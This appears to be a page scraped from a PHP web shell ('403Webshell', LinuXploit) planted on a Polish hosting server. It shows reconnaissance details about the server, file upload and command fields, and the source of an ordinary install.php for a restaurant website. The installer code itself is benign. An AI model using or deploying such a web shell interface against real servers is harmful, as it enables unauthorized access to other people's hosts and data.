403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/install.php
<?php
declare(strict_types=1);

require_once __DIR__ . '/includes/functions.php';

function table_exists(string $table): bool
{
    try {
        $stmt = db()->prepare(
            "SELECT COUNT(*) FROM information_schema.tables
             WHERE table_schema = ? AND table_name = ?"
        );
        $stmt->execute([DB_NAME, $table]);
        return (int)$stmt->fetchColumn() > 0;
    } catch (Throwable $e) {
        return false;
    }
}

$installed = false;
if (table_exists('users')) {
    try {
        $installed = (int)db()->query('SELECT COUNT(*) FROM users')->fetchColumn() > 0;
    } catch (Throwable $e) {
        $installed = false;
    }
}

$error = '';
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$installed) {
    $adminUser = trim((string)($_POST['username'] ?? 'admin'));
    $adminName = trim((string)($_POST['name'] ?? 'Administrator'));
    $adminPass = (string)($_POST['password'] ?? '');
    $siteUrl = rtrim(trim((string)($_POST['site_url'] ?? '')), '/');

    if (strlen($adminUser) < 3) {
        $error = 'Login administratora musi mieć minimum 3 znaki.';
    } elseif (strlen($adminPass) < 10) {
        $error = 'Hasło administratora musi mieć minimum 10 znaków.';
    } else {
        try {
            $sql = file_get_contents(__DIR__ . '/database.sql');
            $parts = preg_split('/;\s*(?:\r?\n|$)/', (string)$sql);

            foreach ($parts as $part) {
                $part = trim($part);
                if ($part !== '') {
                    db()->exec($part);
                }
            }

            $defaults = [
                'site_name' => 'Moja Polana Smaków',
                'owner_name' => 'Andrzej Polan',
                'site_url' => $siteUrl,
                'phone' => '',
                'email' => '',
                'address' => '',
                'postal_code' => '',
                'city' => '',
                'google_maps_url' => '',
                'facebook_url' => '',
                'instagram_url' => '',
                'opening_hours' => '',
                'price_range' => '$$',
                'home_title' => 'Moja Polana Smaków',
                'home_description' => 'Moja Polana Smaków – restauracja Andrzeja Polana. Sprawdź aktualne menu i informacje o restauracji.',
                'home_lead' => 'Autorska kuchnia, sezonowe składniki i smaki, do których chce się wracać.',
                'home_about_title' => 'Kuchnia, która ma smak',
                'home_about_text' => 'Miejsce stworzone wokół dobrego jedzenia, świeżych produktów i kuchni, która łączy prostotę z charakterem.',
                'contact_title' => 'Kontakt | Moja Polana Smaków',
                'contact_description' => 'Kontakt, adres i godziny otwarcia restauracji Moja Polana Smaków.',
            ];

            $stmtSetting = db()->prepare(
                'INSERT INTO settings (setting_key, setting_value)
                 VALUES (?, ?)
                 ON DUPLICATE KEY UPDATE setting_value = VALUES(setting_value)'
            );

            foreach ($defaults as $key => $value) {
                $stmtSetting->execute([$key, $value]);
            }

            $stmt = db()->prepare(
                'INSERT INTO users (username, password_hash, name, role)
                 VALUES (?, ?, ?, "admin")'
            );
            $stmt->execute([
                $adminUser,
                password_hash($adminPass, PASSWORD_DEFAULT),
                $adminName,
            ]);

            $stmt = db()->prepare(
                'INSERT INTO menus
                (name, slug, status, valid_from, intro, seo_title, seo_description)
                VALUES (?, ?, "draft", ?, ?, ?, ?)'
            );
            $stmt->execute([
                'Menu startowe',
                'menu-startowe',
                date('Y-m-01'),
                'Poznaj nasze aktualne menu.',
                'Menu | Moja Polana Smaków',
                'Aktualne menu restauracji Moja Polana Smaków.',
            ]);

            $success = true;
        } catch (Throwable $e) {
            $error = 'Instalacja nie powiodła się: ' . $e->getMessage();
        }
    }
}
?>
<!doctype html>
<html lang="pl">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex,nofollow">
    <title>Instalacja – Moja Polana Smaków</title>
    <link rel="stylesheet" href="/assets/css/admin.css">

<!-- TKLM-TRACKING-AUTO -->
<script defer src="/assets/tklm-tracking.js?v=2"></script>
<!-- /TKLM-TRACKING-AUTO -->
</head>
<body class="install-body">
<div class="install-card">
    <img src="/assets/img/logo.png" alt="Moja Polana Smaków" class="install-logo">
    <h1>Instalacja strony</h1>

    <?php if ($installed): ?>
        <div class="flash flash-success">
            Instalacja jest już zakończona. Usuń plik <strong>install.php</strong> z FTP.
        </div>
        <a class="btn btn-primary" href="/admin/">Przejdź do panelu</a>

    <?php elseif ($success): ?>
        <div class="flash flash-success">
            Gotowe. Baza i konto administratora zostały utworzone.
        </div>
        <p><strong>Teraz usuń plik install.php z FTP.</strong></p>
        <a class="btn btn-primary" href="/admin/login.php">Zaloguj się</a>

    <?php else: ?>
        <?php if ($error): ?>
            <div class="flash flash-error"><?= e($error) ?></div>
        <?php endif; ?>

        <p class="muted">
            Połączenie: MySQL 8.0 / <strong><?= e(DB_NAME) ?></strong>.
        </p>

        <form method="post" class="form-grid">
            <label>
                Adres strony
                <input type="url" name="site_url" placeholder="https://twojadomena.pl"
                    value="<?= e(current_scheme() . '://' . ($_SERVER['HTTP_HOST'] ?? '')) ?>">
            </label>

            <label>
                Login administratora
                <input type="text" name="username" value="admin" required minlength="3">
            </label>

            <label>
                Nazwa
                <input type="text" name="name" value="Administrator">
            </label>

            <label>
                Hasło administratora
                <input type="password" name="password" required minlength="10" autocomplete="new-password">
            </label>

            <button class="btn btn-primary" type="submit">Utwórz bazę i panel</button>
        </form>
    <?php endif; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit